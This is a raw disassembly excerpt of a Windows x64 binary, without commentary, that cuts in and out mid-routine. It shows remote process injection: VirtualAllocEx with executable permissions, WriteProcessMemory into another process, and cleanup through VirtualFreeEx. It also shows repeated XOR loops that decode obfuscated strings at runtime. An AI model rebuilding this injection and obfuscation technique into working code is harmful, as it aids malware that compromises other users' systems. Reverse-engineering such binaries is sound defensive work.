movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x14025f560
cmp eax, 0x1a
jge 0x14025f77a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x1a
jl 0x14025f730
lea rcx, [rsp + 0x68]
mov edx, r10d
call fcn.1401e4400
mov rdx, qword [rbp - 0x50]
xor r8d, r8d
mov r9d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1402635b7
mov r9d, 0x40
mov qword [rsp + 0x20], rbx
lea r8, [rbp - 0x30]
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14025fab5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x14029cea9], bl
mov r10d, eax
movups xmm0, xmmword [0x14029ce90]
movzx ecx, word [0x14029cea8]
mov word [rbp - 0x80], cx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x14029cea0]
movsd qword [rsp + 0x78], xmm0
je 0x14025fa8a
cmp dword [0x1402af008], 2
jl 0x14025fa2e
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
mov r14d, 5
movdqa xmm6, xmmword [0x14029d880]
mov r15d, 6
movdqa xmm7, xmmword [0x14029d890]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x14025f870
cmp eax, 0x1a
jge 0x14025fa8a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x1a
jl 0x14025fa40
lea rcx, [rsp + 0x68]
mov edx, r10d
call fcn.1401e4400
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rdi
jmp 0x14025f78b
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x40], rax
mov rsi, rax
test rax, rax
jne 0x14025fdc4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x1402af008], 2
mov r10d, eax
movups xmm0, xmmword [str._v___r_60]
mov ecx, dword [0x14029ccb0]
movups xmm1, xmmword [0x14029cc98]
mov dword [rbp - 0x70], ecx
movzx ecx, word [0x14029ccb4]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x6c], cx
movsd xmm0, qword [0x14029cca8]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
jl 0x14025fd5e
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
mov r14d, 5
movdqa xmm6, xmmword [0x14029d880]
mov r15d, 6
movdqa xmm7, xmmword [0x14029d890]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x28
jl 0x14025fba0
cmp eax, 0x2e
jge 0x14025fdba
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x2e
jl 0x14025fd70
lea rcx, [rsp + 0x68]
jmp 0x14025fa8f
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
lea r8, [0x140263620]
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1402600ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x14029cdd3], bl
mov r10d, eax
movups xmm0, xmmword [0x14029cdb8]
mov ecx, dword [0x14029cdd0]
mov dword [rbp - 0x80], ecx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x14029cdc8]
movsd qword [rsp + 0x78], xmm0
je 0x1402600aa
cmp dword [0x1402af008], 2
jl 0x140260050
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
mov r14d, 5
movdqa xmm6, xmmword [0x14029d880]
mov r15d, 6
movdqa xmm7, xmmword [0x14029d890]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x14025fe92
cmp eax, 0x1c
jge 0x1402600aa
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x1c
jl 0x140260060
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401e4400
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rsi
jmp 0x14025f78b
cmp byte [0x14029cc81], bl
mov r14d, 5
movups xmm0, xmmword [str._v_:_4r]
movzx eax, word [0x14029cc80]
mov esi, dword [0x1402af008]
lea r15d, [r14 + 1]
mov word [rsp + 0x60], ax
lea r12d, [r14 + 0x1a]
movups xmmword [rsp + 0x50], xmm0
je 0x1402603a0
mov r9d, ebx
cmp esi, 2
jl 0x140260341
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140260180
cmp r9d, 0x12
jge 0x1402603a0
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x12
jl 0x140260350
mov rdi, qword [rbp - 0x50]
lea rcx, [rsp + 0x50]
mov rdx, rdi
call fcn.1401e4400
cmp byte [0x14029ce33], bl
movups xmm0, xmmword [0x14029ce20]
mov eax, dword [0x14029ce30]
mov dword [rsp + 0x60], eax
movups xmmword [rsp + 0x50], xmm0
je 0x140260650
mov r9d, ebx
cmp esi, 2
jl 0x1402605f1
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140260430
cmp r9d, 0x14
jge 0x140260650
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x14
jl 0x140260600
mov rdx, qword [rbp - 0x48]
lea rcx, [rsp + 0x50]
call fcn.1401e4400
cmp byte [0x14029cf09], bl
movups xmm0, xmmword [0x14029cef8]
movzx eax, word [0x14029cf08]
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x50], xmm0
je 0x140260900
mov r9d, ebx
cmp esi, 2
jl 0x1402608a1
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x1402606e0
cmp r9d, 0x12
jge 0x140260900
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x12
jl 0x1402608b0
mov rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.1401e4400
movups xmm0, xmmword [0x14029cce8]
movups xmmword [rsp + 0x50], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140260bb0
cmp esi, 2
jl 0x140260b4b
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x14029d7a0]
mov edx, ebx
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, edx
lea eax, [rdx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
